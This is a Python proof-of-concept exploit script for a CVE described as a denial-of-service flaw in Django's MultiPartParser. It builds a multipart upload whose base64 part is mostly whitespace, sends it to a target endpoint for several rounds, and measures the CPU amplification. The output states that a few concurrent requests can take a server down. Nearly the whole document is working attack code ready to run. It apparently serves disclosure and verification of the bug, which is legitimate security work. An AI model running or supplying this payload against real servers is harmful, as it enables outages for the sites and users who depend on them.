README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-33033 — Denial-of-service via base64 whitespace CPU amplification
in Django MultiPartParser.
This exploit sends a crafted multipart/form-data POST request with a
Content-Transfer-Encoding: base64 file part whose body is almost entirely
whitespace. This forces Django's base64 alignment loop to call
LazyStream.read(1) per whitespace byte, where each read(1) internally
copies ~64 KB via unget(), resulting in ~2,100x CPU amplification.
Usage:
python exploit.py [--target URL] [--size BYTES] [--rounds N]
Defaults:
--target http://127.0.0.1:8000/upload
--size 2621440 (2.5 MB, Django's default DATA_UPLOAD_MAX_MEMORY_SIZE)
--rounds 3
"""
import argparse
import sys
import time
import urllib.request
def build_malicious_body(size: int) -> tuple[bytes, str]:
"""
Build a multipart/form-data body that triggers CVE-2026-33033.
The payload:
- Starts with b"AAA" so stripped_chunk = b"AAA" (3 bytes, remaining = 3)
- Fills the rest with spaces (each strips to nothing, keeping remaining = 3)
- Ends with b"A" to eventually terminate the loop
Returns (body_bytes, content_type_header).
"""
boundary = b"----CVE2026-33033"
file_data = b"AAA" + b" " * (size - 4) + b"A"
parts = [
b"--" + boundary + b"\r\n",
b'Content-Disposition: form-data; name="file"; filename="poc.bin"\r\n',
b"Content-Type: application/octet-stream\r\n",
b"Content-Transfer-Encoding: base64\r\n",
b"\r\n",
file_data,
b"\r\n",
b"--" + boundary + b"--\r\n",
]
body = b"".join(parts)
content_type = f"multipart/form-data; boundary={boundary.decode()}"
return body, content_type
def build_benign_body(size: int) -> tuple[bytes, str]:
"""Build a normal multipart body of the same size (for comparison)."""
boundary = b"----CVE2026-33033"
file_data = (b"QUJD" * (size // 4 + 1))[:size]
parts = [
b"--" + boundary + b"\r\n",
b'Content-Disposition: form-data; name="file"; filename="benign.bin"\r\n',
b"Content-Type: application/octet-stream\r\n",
b"Content-Transfer-Encoding: base64\r\n",
b"\r\n",
file_data,
b"\r\n",
b"--" + boundary + b"--\r\n",
]
body = b"".join(parts)
content_type = f"multipart/form-data; boundary={boundary.decode()}"
return body, content_type
def send_request(target: str, body: bytes, content_type: str) -> tuple[float, int]:
"""Send a POST request and return (elapsed_seconds, http_status)."""
req = urllib.request.Request(
target,
data=body,
headers={
"Content-Type": content_type,
"Content-Length": str(len(body)),
},
method="POST",
)
t0 = time.perf_counter()
try:
with urllib.request.urlopen(req, timeout=120) as resp:
resp.read()
status = resp.status
except urllib.error.HTTPError as e:
status = e.code
except Exception as e:
print(f" [!] Request failed: {e}")
return time.perf_counter() - t0, 0
elapsed = time.perf_counter() - t0
return elapsed, status
def check_health(target: str) -> bool:
"""Check if the server is up via the /health endpoint."""
health_url = target.rsplit("/", 1)[0] + "/health"
try:
with urllib.request.urlopen(health_url, timeout=5) as resp:
return resp.status == 200
except Exception:
return False
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-33033 PoC — base64 whitespace CPU amplification in Django"
)
parser.add_argument(
"--target",
default="http://127.0.0.1:8000/upload",
help="Target upload endpoint URL (default: http://127.0.0.1:8000/upload)",
)
parser.add_argument(
"--size",
type=int,
default=2_621_440,
help="Payload size in bytes (default: 2621440 = 2.5 MB)",
)
parser.add_argument(
"--rounds",
type=int,
default=3,
help="Number of rounds to send (default: 3)",
)
args = parser.parse_args()
print("=" * 60)
print("CVE-2026-33033 PoC")
print("Denial-of-service via base64 whitespace CPU amplification")
print("in Django MultiPartParser")
print("=" * 60)
print(f"\nTarget: {args.target}")
print(f"Payload size: {args.size:,} bytes ({args.size / 1024 / 1024:.1f} MB)")
print(f"Rounds: {args.rounds}")
print()
# Health check
print("[*] Checking server health...")
if not check_health(args.target):
print("[!] Server is not responding. Make sure the victim server is running.")
print(" See README.md for setup instructions.")
sys.exit(1)
print("[+] Server is up.\n")
# Phase 1: Benign baseline
print("-" * 60)
print("[*] Phase 1: Sending BENIGN request (normal base64 data)")
print("-" * 60)
benign_body, benign_ct = build_benign_body(args.size)
benign_elapsed, benign_status = send_request(args.target, benign_body, benign_ct)
print(f" Status: {benign_status}")
print(f" Time: {benign_elapsed * 1000:.2f} ms")
print()
# Phase 2: Malicious payload
print("-" * 60)
print("[*] Phase 2: Sending MALICIOUS requests (base64 + whitespace)")
print("-" * 60)
attack_times = []
for i in range(1, args.rounds + 1):
print(f"\n Round {i}/{args.rounds}:")
malicious_body, malicious_ct = build_malicious_body(args.size)
elapsed, status = send_request(args.target, malicious_body, malicious_ct)
attack_times.append(elapsed)
print(f" Status: {status}")
print(f" Time: {elapsed * 1000:.2f} ms")
# Summary
avg_attack = sum(attack_times) / len(attack_times)
print()
print("=" * 60)
print("RESULTS")
print("=" * 60)
print(f" Benign request: {benign_elapsed * 1000:>10.2f} ms")
print(f" Attack average: {avg_attack * 1000:>10.2f} ms (over {args.rounds} rounds)")
if benign_elapsed > 0:
amplification = avg_attack / benign_elapsed
print(f" Amplification: {amplification:>10.0f}x")
print()
if avg_attack > 1.0:
print("[!] VULNERABLE: Average attack time exceeds 1 second.")
print(f" A single 2.5 MB request ties up a worker for ~{avg_attack:.1f}s.")
print(f" With 4 workers, just 4 concurrent requests can DoS the server.")
else:
print("[*] Attack time is under 1 second. Server may be patched or")
print(" the payload size is too small to trigger meaningful impact.")
print()
if __name__ == "__main__":
main()